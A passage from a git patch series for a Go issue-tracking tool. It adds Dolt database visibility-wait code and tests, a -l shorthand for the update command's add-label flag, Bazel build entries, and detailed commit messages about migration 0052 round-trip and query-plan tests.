SetupSharedTestDB created the database but dolt.New cannot see it (be-s9d)", + dbName, err) + } + t.Cleanup(func() { _ = store.Close() }) + + // SetConfig exercises an actual write through the store, which forces + // the new connection to USE and execute. If the database is + // "found" but the working set is malformed, this will fail. + if err := store.SetConfig(ctx, "issue_prefix", "setupshared_test"); err != nil { + t.Fatalf("SetConfig on fresh store: %v", err) + } +} + +// TestSetupSharedTestDB_FreshConnAfterSecondSetupCall verifies that a second +// SetupSharedTestDB call against the SAME database name (idempotent path) +// does not break visibility for fresh connections. SetupSharedTestDB already +// uses CREATE DATABASE IF NOT EXISTS and tolerates Dolt's error 1007, but if +// the fix introduces side effects (e.g., DOLT_COMMIT on every call), they +// must not regress the second-call shape. +func TestSetupSharedTestDB_FreshConnAfterSecondSetupCall(t *testing.T) { + skipIfNoServer(t) + + dbName := uniqueSetupSharedDBName(t) + + first, err := testutil.SetupSharedTestDB(testServerPort, dbName) + if err != nil { + t.Fatalf("first SetupSharedTestDB: %v", err) + } + t.Cleanup(func() { _ = first.Close() }) + t.Cleanup(func() { dropTestDatabase(t, testServerPort, dbName) }) + + second, err := testutil.SetupSharedTestDB(testServerPort, dbName) + if err != nil { + t.Fatalf("second SetupSharedTestDB on existing %q: %v", dbName, err) + } + t.Cleanup(func() { _ = second.Close() }) + + dsn := doltutil.ServerDSN{ + Host: "127.0.0.1", + Port: testServerPort, + User: "root", + Timeout: 5 * time.Second, + }.String() + freshDB, err := sql.Open("mysql", dsn) + if err != nil { + t.Fatalf("sql.Open: %v", err) + } + t.Cleanup(func() { _ = freshDB.Close() }) + freshDB.SetMaxOpenConns(1) + + rows, err := freshDB.QueryContext(context.Background(), "SHOW DATABASES") + if err != nil { + t.Fatalf("SHOW DATABASES after second SetupSharedTestDB: %v", err) + } + defer rows.Close() + + var found bool + for rows.Next() { + var n string + if err := rows.Scan(&n); err != nil { + t.Fatalf("scan: %v", err) + } + if n == dbName { + found = true + } + } + if err := rows.Err(); err != nil { + t.Fatalf("rows.Err: %v", err) + } + if !found { + t.Fatalf("SHOW DATABASES did not list %q after second SetupSharedTestDB call; idempotency must not regress visibility", + dbName) + } +} + +// TestSetupSharedTestDB_RefusesProductionPort verifies the FIREWALL guard +// in SetupSharedTestDB: passing the production port (DefaultSQLPort) must +// fail with a clear refusal message and must not open a connection. This is +// a defensive contract — the fix in be-s9d touches SetupSharedTestDB and +// the firewall must remain intact through any refactor. +// +// The assertion deliberately matches only "production", the one token the +// firewall itself emits. Accepting "refused" or "3307" as well would make +// this test vacuous: it carries no skipIfNoServer guard, so it also runs on +// hosts with nothing listening on 3307, and there a deleted firewall falls +// through to CREATE DATABASE and fails with +// "dial tcp 127.0.0.1:3307: connect: connection refused" — a string that +// contains both of those needles. Same single-specific-needle pattern as +// TestSetupSharedTestDB_RefusesAmbientPortMismatch in +// internal/testutil/testdoltbranch_test.go. +func TestSetupSharedTestDB_RefusesProductionPort(t *testing.T) { + conn, err := testutil.SetupSharedTestDB(DefaultSQLPort, "should_never_be_created") + if err == nil { + if conn != nil { + _ = conn.Close() + } + t.Fatal("SetupSharedTestDB on production port returned no error; the firewall is broken") + } + if conn != nil { + _ = conn.Close() + t.Errorf("SetupSharedTestDB on production port returned a non-nil *sql.DB; firewall must close any handle before returning the error") + } + if !strings.Contains(err.Error(), "production") { + t.Errorf("error message should clearly refuse the production port, got: %v", err) + } + if strings.Contains(err.Error(), "dial tcp") { + t.Errorf("refusal must come from the firewall, not from dialing the port, got: %v", err) + } +} + +// TestInitSharedSchema_AfterFreshDatabase verifies the initSharedSchema flow +// against a freshly-created database. This is the higher-level integration +// test: it exercises the same TestMain-time call sequence that fails in the +// BEADS_TEST_EXTERNAL_DOLT_PORT branch, but driven from a regular test so +// the failure is captured by `go test` rather than a fatal-out-of-TestMain +// stderr message. +// +// Note: the production initSharedSchema closes over the package-level +// testSharedDB. This test temporarily redirects testSharedDB to a unique +// per-test name so it does not collide with the suite-wide shared DB. +func TestInitSharedSchema_AfterFreshDatabase(t *testing.T) { + skipIfNoServer(t) + + dbName := uniqueSetupSharedDBName(t) + + // SetupSharedTestDB does the CREATE DATABASE. + setupConn, err := testutil.SetupSharedTestDB(testServerPort, dbName) + if err != nil { + t.Fatalf("SetupSharedTestDB: %v", err) + } + t.Cleanup(func() { _ = setupConn.Close() }) + t.Cleanup(func() { dropTestDatabase(t, testServerPort, dbName) }) + + // initSharedSchema reads the package-level testSharedDB, so we must + // redirect it for the duration of this test. No goroutines from + // previous tests should still be calling initSharedSchema, but we + // restore the original value to be safe. + prevDB := testSharedDB + testSharedDB = dbName + t.Cleanup(func() { testSharedDB = prevDB }) + + if err := initSharedSchema(testServerPort); err != nil { + t.Fatalf("initSharedSchema on fresh database %q: %v\n this is the literal failure mode reported in be-s9d", + dbName, err) + } + + // After initSharedSchema succeeds, the schema must be visible from + // yet another fresh connection — captures the case where DOLT_COMMIT + // in initSharedSchema fixed up visibility for that connection only, + // not for subsequent ones. Use a quick SHOW TABLES probe. + dsn := doltutil.ServerDSN{ + Host: "127.0.0.1", + Port: testServerPort, + User: "root", + Database: dbName, + Timeout: 5 * time.Second, + }.String() + freshDB, err := sql.Open("mysql", dsn) + if err != nil { + t.Fatalf("sql.Open: %v", err) + } + t.Cleanup(func() { _ = freshDB.Close() }) + + rows, err := freshDB.QueryContext(context.Background(), "SHOW TABLES") + if err != nil { + t.Fatalf("SHOW TABLES on fresh connection after initSharedSchema: %v", err) + } + defer rows.Close() + + var names []string + for rows.Next() { + var n string + if err := rows.Scan(&n); err != nil { + t.Fatalf("scan: %v", err) + } + names = append(names, n) + } + if err := rows.Err(); err != nil { + t.Fatalf("rows.Err: %v", err) + } + if len(names) == 0 { + t.Fatalf("SHOW TABLES returned no tables on fresh connection; initSharedSchema did not commit the schema visibly\n (got %d rows; expected at least the issues table)", + len(names)) + } + + // issues is the canonical table the schema migrations create; its + // presence proves the schema commit landed for fresh sessions. + hasIssues := false + for _, n := range names { + if n == "issues" { + hasIssues = true + break + } + } + if !hasIssues { + t.Fatalf("SHOW TABLES did not include 'issues': %v", names) + } +} diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 0a83d6576..0bf81aba3 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -2922,6 +2922,14 @@ func serverEndpointIdentity(cfg *Config) string { // databaseExistsOnServer checks if a database with the exact given name exists // on the Dolt server. Uses SHOW DATABASES + iterate instead of SHOW DATABASES LIKE // to avoid LIKE wildcard issues with underscores in database names. +// +// COUPLED MIRROR: internal/testutil.databaseVisibleNow is a deliberate copy of +// this predicate (testutil cannot import this package without a cycle), and +// SetupSharedTestDB's visibility wait polls that copy so that once the fixture +// observes the database, this check — the one dolt.New() depends on — observes +// it too. Changing the predicate here (information_schema, name normalization, +// …) without updating the mirror silently reintroduces the be-s9d race, and no +// test pins the equivalence. func databaseExistsOnServer(ctx context.Context, db *sql.DB, name string) (bool, error) { rows, err := db.QueryContext(ctx, "SHOW DATABASES") if err != nil { diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index e71085878..520a2e246 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -116,6 +116,10 @@ go_test( ], data = glob(["testdata/**"]), embed = [":testutil"], + deps = [ + "//internal/storage/doltutil", + "@com_github_go_sql_driver_mysql//:mysql", + ], ) # Dolt image pin read as text by //test/docsync and the dolt pin tests in diff --git a/internal/testutil/testdoltbranch.go b/internal/testutil/testdoltbranch.go index 39ed47bd0..9cfb3be29 100644 --- a/internal/testutil/testdoltbranch.go +++ b/internal/testutil/testdoltbranch.go @@ -178,6 +178,17 @@ func SetupSharedTestDB(port int, dbName string) (*sql.DB, error) { } } + // Wait for the new database to become visible on this connection before + // returning — not a guarantee for every connection in db's pool (see + // waitForDatabaseVisible's doc). Without this, a sibling pool from + // dolt.New() — opened inside initSharedSchema — can race the Dolt + // server's catalog refresh and fail with "Error 1049 (HY000): database + // not found: " (be-nx7 external-port path). + if err := waitForDatabaseVisible(ctx, db, dbName); err != nil { + _ = db.Close() + return nil, fmt.Errorf("SetupSharedTestDB: wait for visibility: %w", err) + } + // Switch to the database and clean stale branches CleanTestBranches(db, dbName) @@ -319,3 +330,68 @@ func commitAllowEmpty(ctx context.Context, db doltBranchSQL, message string) err } return nil } + +// waitForDatabaseVisible polls SHOW DATABASES on db with exponential backoff +// until dbName appears via exact-match iteration — the same check +// databaseExistsOnServer (internal/storage/dolt/store.go) uses, and the one +// dolt.New() actually depends on. Success means the connection that ran the +// query has observed the server's catalog refresh for dbName — not a +// guarantee for every connection in db's pool. Polling is bounded to ~10s — +// far longer than any catalog-refresh window observed in practice — and the +// deadline is checked before the sleep, so the call returns within ~11.2s +// worst case (12 probes: the last capped delay lands past the bound). Either +// way a real failure surfaces a clear error instead of hanging the test +// binary. +func waitForDatabaseVisible(ctx context.Context, db *sql.DB, dbName string) error { + const maxElapsed = 10 * time.Second + deadline := time.Now().Add(maxElapsed) + delay := 50 * time.Millisecond + for { + found, err := databaseVisibleNow(ctx, db, dbName) + if err != nil { + return err + } + if found { + return nil + } + if time.Now().After(deadline) { + return fmt.Errorf("database %q not visible after %s", dbName, maxElapsed) + } + select { + case <-ctx.Done(): + return ctx.Err() + case <-time.After(delay): + } + // Cap is checked before doubling, so delay can reach ~1.6s (not 1s) + // on the iteration that crosses the threshold. The deadline is + // checked before this sleep, so that last delay runs past the ~10s + // polling bound rather than inside it — harmless, and it is why the + // doc above states a ~11.2s worst-case return. + if delay < time.Second { + delay *= 2 + } + } +} + +// databaseVisibleNow reports whether dbName appears in SHOW DATABASES, via +// exact-match iteration — mirrors databaseExistsOnServer in +// internal/storage/dolt/store.go. SHOW DATABASES LIKE has wildcard issues +// with underscores in database names, which test database names contain. +func databaseVisibleNow(ctx context.Context, db *sql.DB, dbName string) (bool, error) { + rows, err := db.QueryContext(ctx, "SHOW DATABASES") + if err != nil { + return false, err + } + defer rows.Close() + + for rows.Next() { + var name string + if err := rows.Scan(&name); err != nil { + return false, err + } + if name == dbName { + return true, nil + } + } + return false, rows.Err() +} diff --git a/internal/testutil/testdoltbranch_test.go b/internal/testutil/testdoltbranch_test.go index 4b6f88d2f..b6445b118 100644 --- a/internal/testutil/testdoltbranch_test.go +++ b/internal/testutil/testdoltbranch_test.go @@ -1,8 +1,16 @@ package testutil import ( + "context" + "crypto/rand" + "database/sql" + "encoding/hex" "strings" "testing" + "time" + + _ "github.com/go-sql-driver/mysql" // MySQL driver for direct DB connections + "github.com/steveyegge/beads/internal/storage/doltutil" ) // TestSetupSharedTestDB_RefusesAmbientPortMismatch guards the same class of @@ -27,3 +35,76 @@ func TestSetupSharedTestDB_RefusesAmbientPortMismatch(t *testing.T) { t.Errorf("SetupSharedTestDB error = %q, want it to name the ambient BEADS_DOLT_SERVER_PORT disagreement", err.Error()) } } + +// neverCreatedDBName returns a per-test database name with a random suffix +// that is guaranteed not to collide with any database CREATEd elsewhere in +// the suite — mirrors uniqueSetupSharedDBName in +// internal/storage/dolt/setup_shared_db_test.go (a different package, so not +// directly reusable here). +func neverCreatedDBName(t *testing.T) string { + t.Helper() + buf := make([]byte, 4) + if _, err := rand.Read(buf); err != nil { + t.Fatalf("rand.Read: %v", err) + } + return "test_never_created_" + hex.EncodeToString(buf) +} + +// TestWaitForDatabaseVisible_ReturnsBoundedErrorWhenNeverCreated pins the +// bounded-failure contract that makes the visibility-probe fix falsifiable +// (bee-ghosttrack R2 item 1): for a database name that is never CREATEd, +// waitForDatabaseVisible must return the "not visible after" error within a +// bound close to its documented ~10s deadline — it must neither hang nor +// silently report success. +// +// This is a falsifiability guard, not an old-vs-new discriminator for the +// bug it replaces: a name that is never created is a *permanent* absence, +// and the old USE-based poll's "unknown database" retry branch already +// handled that correctly by coincidence (measured ~13s, correct error). The +// actual bug only showed up in the *racy* just-created case — USE can +// return success on attempt 1 because Dolt sometimes auto-attaches a +// database to a session before the server catalog (what SHOW DATABASES and +// dolt.New() actually check) has registered it — and R2 found that race too +// flaky to assert on directly (a mutation-probe experiment against the +// fresh-connection test was non-deterministic, not reliably red). What this +// test does guard is a future regression: an implementation that +// unconditionally reports success would fail it, even though the USE-based +// poll it replaces does not. +func TestWaitForDatabaseVisible_ReturnsBoundedErrorWhenNeverCreated(t *testing.T) { + RequireDoltContainer(t) + + dsn := doltutil.ServerDSN{Host: "127.0.0.1", Port: DoltContainerPortInt(), User: "root", Timeout: 10 * time.Second}.String() + db, err := sql.Open("mysql", dsn) + if err != nil { + t.Fatalf("sql.Open: %v", err) + } + t.Cleanup(func() { _ = db.Close() }) + + dbName := neverCreatedDBName(t) + + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) + defer cancel() + + const hangBound = 15 * time.Second + start := time.Now() + done := make(chan error, 1) + go func() { + done <- waitForDatabaseVisible(ctx, db, dbName) + }() + + select { + case err := <-done: + elapsed := time.Since(start) + if err == nil { + t.Fatalf("waitForDatabaseVisible(%q): got nil error after %s for a database that was never created — visibility check is not strict enough (silent success)", dbName, elapsed) + } + if !strings.Contains(err.Error(), "not visible after") { + t.Errorf("waitForDatabaseVisible(%q) error = %q, want it to contain %q (the bounded-deadline error)", dbName, err.Error(), "not visible after") + } + if elapsed > hangBound { + t.Errorf("waitForDatabaseVisible(%q) took %s to return, want it bounded near the documented ~10s deadline", dbName, elapsed) + } + case <-time.After(hangBound): + t.Fatalf("waitForDatabaseVisible(%q): did not return within %s — appears to hang instead of returning a bounded error", dbName, hangBound) + } +} From 6530c7532f89cdf914683f22b4603c517d6ed9f1 Mon Sep 17 00:00:00 2001 From: Rome Thorstenson <36779795+Rome-1@users.noreply.github.com> Date: Tue, 29 Sep 2026 17:26:17 -0700 Subject: [PATCH 250/624] feat(update): add -l shorthand for --add-label, matching bd create -l (#6139) * feat(update): add -l shorthand for --add-label, matching bd create -l bd create registers labels as StringSliceP("labels", "l", ...), so `bd create -l foo` works. `bd update -l foo` did not: cobra prints usage and exits 1 on an unknown shorthand. That is a correct failure but an easy one to miss. A caller copying the create form has no reason to expect the flag to differ, and the failure looks like help output rather than an error in a scrolled log. In one deployment this left issues believed-labelled that were not, until someone checked by hand. Additive: --add-label is unchanged. -l maps to ADD rather than SET because add is the non-destructive reading and matches what create -l does on a new issue. -l was previously unregistered on updateCmd (its shorthands are -s, -t, -e), so there is no collision. go test ./cmd/bd/ -run Update passes. Executed-By: mayor * fix(update): drop backquotes from the --add-label usage string pflag's UnquoteUsage reads the first backquoted span in a usage string as the flag's ARGUMENT NAME, so "-l matches `bd create -l`" rendered the flag as -l, --add-label bd create -l Add labels (repeatable); ... in `bd update --help`, where every sibling shows its type. It now reads `-l, --add-label strings`, matching --remove-label and --set-labels. Adds the shorthand assertion the review asked for, plus a guard on the rendered argument name so the backquotes cannot come back unnoticed. Both verified red before green: restoring the backquotes fails the second test with the string it renders, dropping -l fails the first. * build(bazel): list update_add_label_shorthand_test.go in cmd/bd go_test srcs cmd/bd/BUILD.bazel's go_test enumerates test srcs explicitly rather than globbing, so the PR's new test file is invisible to `bazel test //...`. This is review iteration 1's one minor finding (Change Impact / Blast Radius, gate impact minor). The drift is merge-target-attributable and this PR is its sole source: `bazel run //:gazelle -- -mode=diff cmd/bd` (bazel 9.2.0) proposes five srcs entries and four deps here, but the other four srcs and all four deps are already present at origin/main -- only this file is absent there. The reviewers' `if:`-guard uncertainty resolves against the PR: bazel.yml's `bazel-test` job, which owns the "BUILD files in sync" step, is gated on `vars.RBE_WEST_WORKERS == 'true' || inputs.rbe == 'off' || github.event.pull_request.head.repo.fork == true`, and #6139 is a fork PR, so the third disjunct holds and the job runs. That step runs `make bazel-sync` and fails on any `git status --porcelain` output, and bazel-autofix.yml only pushes its patch to same-repo branches (forks get an apply recipe), so the drift would not self-heal. Deviation from the prescribed remedy, deliberate: the finding said to run `make bazel-sync`, but on this 25-commit-old base the generator would also add the eight entries that are pure base staleness and already at the merge target. Only the single PR-owned entry is added here, in gazelle's own proposed position (sorted, between uow_factory_test.go and update_claim_proxied_test.go). Verified: re-running gazelle no longer proposes this file (the other eight remain untouched); `make bazel-sync-check` rc=0; the 11 TestBazel* / TestCheckBuildTags* policy tests pass. Composition asserted inside the tree CI actually builds -- `git merge-tree --write-tree origin/main ` rc=0, and the merged cmd/bd/BUILD.bazel differs from origin/main's by exactly this one line, while the same merge without the fix is byte-identical to origin/main's (control). Contributor commits are untouched; no Go file changes. --------- Co-authored-by: Gas City Adopt-PR --- cmd/bd/BUILD.bazel | 1 + cmd/bd/update.go | 20 +++++++++- cmd/bd/update_add_label_shorthand_test.go | 47 +++++++++++++++++++++++ 3 files changed, 67 insertions(+), 1 deletion(-) create mode 100644 cmd/bd/update_add_label_shorthand_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index cae4c880c..577bc8605 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1129,6 +1129,7 @@ go_test( "uninstall_config_test.go", "uow_factory_server_mode_test.go", "uow_factory_test.go", + "update_add_label_shorthand_test.go", "update_claim_proxied_test.go", "update_close_policy_proxied_integration_test.go", "update_close_policy_test.go", diff --git a/cmd/bd/update.go b/cmd/bd/update.go index ac6a6f1e1..cbd1db60b 100644 --- a/cmd/bd/update.go +++ b/cmd/bd/update.go @@ -973,7 +973,25 @@ func init() { updateCmd.Flags().String("acceptance-criteria", "", "DEPRECATED: use --acceptance") _ = updateCmd.Flags().MarkHidden("acceptance-criteria") // Only fails if flag missing (caught in tests) updateCmd.Flags().IntP("estimate", "e", 0, "Time estimate in minutes (e.g., 60 for 1 hour)") - updateCmd.Flags().StringSlice("add-label", nil, "Add labels (repeatable)") + // -l is the shorthand for --add-label, matching `bd create -l`. + // + // WHY: `bd create` registers labels as StringSliceP("labels", "l", ...), so + // `bd create -l foo` works. `bd update -l foo` did not, and cobra's response + // to an unknown shorthand is to print usage and exit 1. That is a correct + // failure, but it is a SILENT one to any caller that does not check the exit + // code — and callers copying the `create` form have no reason to expect the + // flag to differ. In one deployment this caused issues to be believed + // labeled when they were not, for as long as it took someone to check the + // label by hand. + // + // Additive rather than a rename: --add-label keeps working unchanged. + // -l maps to ADD (not set) because add is the non-destructive reading and + // matches what `create -l` does on a new issue. + // + // No backquotes in the usage string: pflag reads the first backquoted span + // as the flag's ARGUMENT NAME, so "`bd create -l`" here renders the flag as + // "-l, --add-label bd create -l" in `bd update --help` instead of "strings". + updateCmd.Flags().StringSliceP("add-label", "l", nil, "Add labels (repeatable); -l matches bd create -l") updateCmd.Flags().StringSlice("remove-label", nil, "Remove labels (repeatable)") updateCmd.Flags().StringSlice("set-labels", nil, "Set labels, replacing all existing (repeatable)") updateCmd.Flags().String("parent", "", "New parent issue ID (reparents the issue, use empty string to remove parent)") diff --git a/cmd/bd/update_add_label_shorthand_test.go b/cmd/bd/update_add_label_shorthand_test.go new file mode 100644 index 000000000..6867330d2 --- /dev/null +++ b/cmd/bd/update_add_label_shorthand_test.go @@ -0,0 +1,47 @@ +//go:build cgo + +package main + +import ( + "testing" + + "github.com/spf13/pflag" +) + +// TestUpdateAddLabelShorthand pins -l to --add-label on `bd update`, and pins it +// to the same letter `bd create` uses, since matching that is the whole point of +// the flag. +func TestUpdateAddLabelShorthand(t *testing.T) { + flag := updateCmd.Flags().Lookup("add-label") + if flag == nil { + t.Fatal("updateCmd should have --add-label flag") + } + if flag.Shorthand != "l" { + t.Errorf("expected shorthand='l', got %q", flag.Shorthand) + } + + createFlag := createCmd.Flags().Lookup("labels") + if createFlag == nil { + t.Fatal("createCmd should have --labels flag") + } + if flag.Shorthand != createFlag.Shorthand { + t.Errorf("update --add-label shorthand %q should match create --labels shorthand %q", + flag.Shorthand, createFlag.Shorthand) + } +} + +// TestUpdateAddLabelUsageHasNoBackquotes guards the rendering of the help line. +// pflag's UnquoteUsage takes the first backquoted span in a usage string as the +// flag's ARGUMENT NAME, so a usage of "matches `bd create -l`" renders as +// "-l, --add-label bd create -l" in `bd update --help` instead of the type name. +func TestUpdateAddLabelUsageHasNoBackquotes(t *testing.T) { + flag := updateCmd.Flags().Lookup("add-label") + if flag == nil { + t.Fatal("updateCmd should have --add-label flag") + } + name, _ := pflag.UnquoteUsage(flag) + if name != "strings" { + t.Errorf("expected --add-label to render its argument as \"strings\", got %q "+ + "(a backquoted span in the usage string is read as the argument name)", name) + } +} From 25a54a73ab286c07f4a92098bdb72257700482e5 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Tue, 29 Sep 2026 17:27:18 -0700 Subject: [PATCH 251/624] test: restore migration 0052 round-trip coverage (up/down/up, ~2K rows) (#5796) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — Restore migration_0033_test.go round-trip test (up/down/up, 2K rows) (refs be-auu.5) * feat: green — Restore migration_0033_test.go round-trip test (up/down/up, 2K rows) (refs be-auu.5) No production code change: migration 0052 (D4v2 composite status/updated_at index + defer_until index, renumbered from 0033) already shipped correctly via 0268ba894 (PR #3662). This bead restores test coverage only; there is no implementation gap for TestMigration0052_RoundTrip / TestMigration0052_ExplainCapture to expose. Verification: go build ./... and go vet ./internal/storage/dolt/... both clean; go test ./... exits 1 repo-wide via the pre-existing baseline documented in be-m0cy (91 distinct failures across 9 unrelated packages) -- no new failures beyond that baseline. The two new tests skip cleanly (no local Docker/Dolt server in this sandbox), consistent with sibling be-auu.1/.2/.3 verification notes. * chore(release-gate): PASS record for be-s424 (migration 0052 round-trip test) All 7 criteria pass. Restores test coverage for migration 0052 (renumbered from 0033), a composite-index migration already live in production via PR #3662. Independently re-verified: 4/4 diff-owned tests PASS with real podman/Dolt containers, build/vet/gofmt clean, single-file diff, clean divergence from origin/main. * fix(test): gate migration 0052 EXPLAIN capture on an env var, not short mode scripts/check-testing-short.sh reserves testing.Short() for true runtime/stress/large-fixture skips and fails the PR-policy lane on any other use. TestMigration0052_ExplainCapture used it for a diagnostic-artifact boundary, so "check testing.Short boundaries" failed and took the CI Gate / Required aggregator down with it. Switch to the environment-check idiom the policy message itself recommends, matching the BEADS_RUN_DOLT_UPSTREAM_REPRO gate on the sibling repro test in this package. This also makes the test do what its doc comment already claimed -- "skipped unless explicitly opted in". The short-mode guard did the opposite: it ran the test by default and skipped it only in the -short lanes. Verified locally: - scripts/check-testing-short.sh passes (was the failing gate) - gofmt, go vet, go build all clean - default path skips in 0.00s, no container started - opt-in path (BEADS_RUN_EXPLAIN_CAPTURE=1) passes against a real Dolt container and captures both plans, confirming IndexedTableAccess on [issues.status,issues.updated_at] and [issues.defer_until] - TestMigration0052_RoundTrip still passes (16.15s) Refs be-s424, be-wlv5. * test(dolt): make the migration 0052 EXPLAIN capture a real regression gate The PR body advertised "EXPLAIN-verified query-plan assertions", but TestMigration0052_ExplainCapture only t.Logf'd the plan and could not fail. Since the right index names demonstrably do appear, asserting on them costs nothing and converts a one-shot diagnostic into a standing planner-regression gate: if a schema change or Dolt upgrade silently stops using idx_issues_status_updated_at — an index whose entire justification is that these two queries use it — this now fails instead of printing a plan nobody reads. Each case gains a wantIndex substring, checked against the accumulated plan text. Matching the column list rather than the index identifier is deliberate: EXPLAIN FORMAT=TREE names columns, not the index name, so that is the strongest claim the output actually supports. Verified against a real Dolt container (dolthub/dolt-sql-server:2.2.0), BEADS_RUN_EXPLAIN_CAPTURE=1, both subtests pass: IndexedTableAccess(issues) index: [issues.status,issues.updated_at] filters: [{[in_progress, in_progress], (NULL, 2020-01-01 ...)}, ...] IndexedTableAccess(issues) index: [issues.defer_until] filters: [{(2026-09-03 07:36:36 +0000 UTC, ∞)}] and confirmed non-vacuous: substituting a bogus wantIndex fails the corresponding subtest. The plan is still logged unconditionally — it is the be-eei §8 guardrail 4 artifact, and on failure it reports what the planner actually chose rather than only that it was not what we wanted. The test remains opt-in, so the gate only bites when someone runs it; that is the same bargain the fixture cost already forced, and an assertion is strictly better than the t.Logf it replaces. Addresses review of PR #5796 by bee-ghosttrack. * test(dolt): make the 0052 helpers' comments match what they do Four review nits, all cases of a comment promising more than the code delivered. Three are fixed by correcting the code, one by correcting the comment. sortedKeys did not sort. Go randomizes map iteration, so the index names in a failure message reordered between runs and two reports of the same failure could not be compared. Now sorts. verifySampleIssues said it checked title, status and type; it read the ID and a title prefix. It now checks status and issue type too, recomputing the expected values from the ordinal encoded in the id rather than from a "before" snapshot — so the assertion cannot be satisfied by a value the round-trip corrupted symmetrically. Confirmed non-vacuous: permuting the expected status cycle fails with sample verify date-idx-000000: status mutated to "open", want "closed" sampleIssueIDs claimed an evenly-spaced sample but takes the first N by id. Here the comment was the wrong half — determinism is what the round-trip check needs, and ORDER BY id ASC LIMIT N already provides it, so a spread would add cost for no coverage. Comment corrected to say what it does, and why that is sufficient. The RoundTrip header now records that its up→down→up DDL is only safe because setupTestStore puts each test on its own Dolt branch (testutil.StartTestBranch, dolt_test.go:173). Dropping idx_issues_status_updated_at mid-run on the shared testSharedDB would be a package-wide hazard rather than a local one, so the note names it as load-bearing and warns against adding t.Parallel() or removing the branch. Addresses the nits from review of PR #5796 by bee-ghosttrack. * test(dolt): anchor the 0052 EXPLAIN assertions to the index node, not the predicate Review round 2, blocking: the second assertion was vacuous. wantIndex "issues.defer_until" matched the plan's Filter node, which echoes the query's own predicate, so it passed on a full table scan — the exact regression this gate exists to catch. Mutation-tested against a real dolthub/dolt-sql-server:2.2.0 container by dropping idx_issues_defer_until after the fixture seed: index dropped + old bare "issues.defer_until" -> PASS (vacuous) index dropped + new "index: [issues.defer_until]" -> FAIL (gate bites) index present + new "index: [issues.defer_until]" -> PASS The degraded plan is: └─ Filter ├─ ((NOT(issues.defer_until IS NULL)) AND (issues.defer_until > ...)) └─ Table ├─ name: issues Table, not IndexedTableAccess — and the Filter line still contains the bare substring, which is why the old form could never fail. Both cases now match the "index: [...]" wrapper, which appears only on an IndexedTableAccess node. Case 1 was already anchored (its column list is comma-joined and does not appear in its Filter), but it takes the same form for consistency. The field comment now records why the wrapper is load-bearing, so the "match the column list, not the index name" rationale is not read as license to drop it again. Also from the same review: - The header told readers not to add t.Parallel() while setupTestStore calls it itself (dolt_test.go:140) — every run prints "=== PAUSE". Replaced with what is actually load-bearing: the per-test Dolt branch. - Citation dolt_test.go:173 -> :174 (the StartTestBranch line). - sampleIssueIDs scopes its query with WHERE id LIKE 'date-idx-%', so the caller's strconv.Atoi cannot hard-fail on a foreign id sorting ahead of the fixture. Verified with a real container, ambient BEADS_DOLT_SERVER_PORT unset: BEADS_RUN_EXPLAIN_CAPTURE=1 -> ExplainCapture PASS (7.82s, both subtests), RoundTrip PASS (16.23s); default path -> ExplainCapture SKIP, RoundTrip PASS. Refs be-n2y2o. * docs(release-gates): correct the be-s424 gate accounting and record round 2 Review round 2, nit: the gate record still claimed "352 lines / 1 file" and 4/4 PASS. It is 439 lines across 2 files at the current head, and 3 PASS / 1 SKIP on the default path now that ExplainCapture is env-gated. The per-criterion numbers were accurate for the commit the gate evaluated (961aa8cdd), so they are scoped to it rather than rewritten, matching how the same correction was made on PR #6221. The 4/4 count is labelled as the BEADS_RUN_EXPLAIN_CAPTURE=1 count. Adds a round-2 addendum with the mutation-test table proving the old assertion vacuous and the new one load-bearing, plus the current accounting. Refs be-n2y2o. * chore: remove leaked internal release-gate doc from PR branch release-gates/be-s424-migration-0052-roundtrip-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 * chore(bazel): add migration_0052_test.go to internal/storage/dolt go_test srcs The PR adds an untagged internal/storage/dolt/migration_0052_test.go. That package's BUILD.bazel is base-added since this branch's merge base and its go_test srcs is an explicit 207-entry list, not a glob, so the new file was silently omitted: //internal/storage/dolt:dolt_test would never compile the PR's 439-line regression test. Neither check tool can see this -- tools/bazel/go_srcs.py --check and make bazel-sync-check both exit 0 on the unrepaired head, because they only validate the go_srcs filegroup glob, never go_library/go_test srcs. Base parity decides it is PR-introduced: at the upstream base the same census shows a gap of exactly 15 files and all 15 carry //go:build integration (0 untagged), so the enumeration is exhaustive for untagged tests. Repair is make bazel-sync, which inserted the one srcs line alphabetically. No deps line is owed: //internal/storage and //internal/types are already in go_test deps. * test(dolt): assert the 0052 index composition and give the plan probes rows Maintainer review fixes for PR #5796, adoption iteration 1. The synthesis is `approve` with no required changes; all four findings are minor or nit, and the Pre-Merge Checklist orders them by value if the file is being touched anyway. It is, so all four are taken. No production code; the payload stays one test file. F1 — index assertions were name-only. The entire D4v2 justification for idx_issues_status_updated_at is column ORDER (status as the equality prefix, updated_at as the range suffix), but SHOW INDEX was reduced to a name set, so a migration that created the composite as (updated_at, status), or restored the legacy idx_issues_status on another column, produced an identical name set and satisfied every assertion while leaving the index useless for the two queries it exists for. indexNames becomes indexColumns and returns name -> columns in key-part order; Seq_in_index and Column_name were already being scanned and discarded one line before use, so this costs no extra query. The round-trip now pins (status, updated_at), (defer_until), and the post-down legacy (status). Renaming the helper rather than keeping a name that no longer describes it is the one deviation from the prescription. F2 — both EXPLAIN probes matched zero rows. seedDateIndexFixture deliberately leaves date columns NULL, so defer_until IS NOT NULL was false everywhere and no row was older than the stale cutoff: the plans were asserted over an empty match set, which is the same output an empty table gives, so the 1K seed bought no signal. shapeDatePredicateMinority backdates updated_at and sets defer_until on 10% of the fixture, and each probe now asserts a non-zero match count next to its plan so a PASS cannot mean "matched nothing". A minority and not the whole fixture, because a predicate matching every row is not a 